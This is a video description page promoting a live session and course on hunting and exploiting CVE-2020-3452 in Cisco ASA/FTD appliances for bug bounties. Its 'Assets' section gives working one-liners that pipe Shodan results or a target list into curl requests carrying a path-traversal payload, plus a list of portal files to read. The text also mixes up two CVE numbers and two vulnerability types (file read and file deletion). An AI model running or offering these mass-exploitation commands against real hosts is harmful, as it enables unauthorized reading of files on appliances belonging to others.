Скачать или смотреть Live Exploitation of CVE 2020-3452 File Read Vulnerability in Cisco ASA/FTD

Hello Security Folks, We are going to see How you can exploit the latest CVE 2020 -3187 for Bug Bounties & Pentesting
We are going to hunt & Exploit - Cisco Adaptive Security Appliance and Firepower Threat Defense unauthenticated arbitrary file deletion in Cisco ASA/FTD.
We are going to discuss it and show you how you can hunt for those targets and do exploitation for FUN & Profit for Bug Bounties.

This Live session will be focussed on the enumeration of data, finding targets, and exploit targets & perform hunting for Bug Bounties.
--------------------------------------------------------------------------------------------

Get the Full Course here :
learn.hacktify.in

Follow us on Linkedin:-
  / iamrohitg  
  / shifa  

Visit our website:- www.hacktify.in
Join Facebook Group -   / 3312188492177983  
------------------------------------------------------------------------------------------
Assets -

Hunting Using Shodan -
shodan search Cisco ASA --fields ip_str --separator " " | awk '{print $1}' | while read host do ; do curl -s -k "https://$host/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" ; done


Hunting Using Subdomain Enumeration -

cat targets.json | awk '{print $1}' | while read host do ; do curl -s -k "https://$host/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" ; done


Entry Points -

File Entry Points


logo.gif
http_auth.html
user_dialog.html
localization_inc.lua
portal_inc.lua
include
nostcaccess.html
ask.html
no_svc.html
svc.html
session.js
useralert.html
ping.html
help
app_index.html
tlbr
portal_forms.js
logon_forms.js
win.js
portal.css
portal.js
sess_update.html
blank.html
noportal.html
portal_ce.html
portal.html
home
logon_custom.css
portal_custom.css
preview.html
session_expired
custom
portal_elements.html
commonspawn.js
common.js
appstart.js
appstatus
relaymonjar.html
relaymonocx.html
relayjar.html
relayocx.html
portal_img
color_picker.js
color_picker.html
cedhelp.html
cedmain.html
cedlogon.html
cedportal.html
cedsave.html
cedf.html
ced.html
lced.html
files
pluginlib.js
shshim
do_url
clear_cache
connection_failed_form
apcf
ucte_forbidden_data
ucte_forbidden_url
cookie
session_password.html
tunnel_linux.jnlp
tunnel_mac.jnlp
sdesktop
gp-gip.html
auth.html
wrong_url.html
logon_redirect.html
logout.html
logon.html
test_chargen

----------------------------
customization
bookmarks
locale
+CSCOT+
+CSCOCA+
+CSCOL+
admin
+CSCOU+
+CSCOE+
sessions

----------------------------------------------------------------------------------------------------

~-~~-~~~-~~-~
Please watch: "Concrete5 CMS : Identification, Mass Hunting, Nuclei Template Writing & Reporting "
   • Concrete5 CMS : Identification, Mass Hunti...  
~-~~-~~~-~~-~